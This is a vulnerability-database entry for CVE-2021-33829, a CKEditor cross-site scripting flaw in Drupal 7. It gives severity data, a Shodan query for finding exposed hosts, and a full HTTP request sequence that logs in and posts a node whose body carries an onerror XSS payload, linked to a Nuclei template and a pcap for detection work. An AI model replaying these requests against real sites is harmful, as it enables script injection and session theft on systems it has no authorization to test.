🔙 목록으로 돌아가기

CVE-2021-33829: Drupal 7 CKEditor XSS

TitleDrupal 7 CKEditor XSS
Author0x_Akoko
SeverityMedium
ImpactAttackers can execute arbitrary JavaScript in the context of the victim's browser, leading to session hijacking or malicious actions.
RemediationUpdate to version 4.16.1 or later.
CVSS Score6.1
EPSS Score0.47617
CVE IDCVE-2021-33829
CWE IDCWE-79
Shodan Querycpe:"cpe:2.3:a:ckeditor:ckeditor"
Tags cve cve2021 drupal ckeditor xss authenticated

🔍 Vulnerability Description

CKEditor 4.14.0 through 4.16.x before 4.16.1 contains a reflected cross-site scripting caused by mishandling in comments, letting remote attackers inject executable JavaScript code, exploit requires victim to view malicious content.

🌐 HTTP Request

POST /user/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Connection: close
Content-Length: 52
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

name=iYVbqz&pass=jzd259&form_id=user_login&op=Log+in
GET /node/add/page HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /node/add/page HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Content-Length: 239
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

title=XSSTest&body[und][0][value]=<!--{cke_protected}--><img src=x onerror=alert(document.domain)>&body[und][0][format]=full_html&changed=&form_build_id=hP26qq&form_token=TaIL9C&form_id=page_node_form&status=1&comment=1&name=iYVbqz&op=Save
GET /0lTqA3 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-33829.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-33829.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A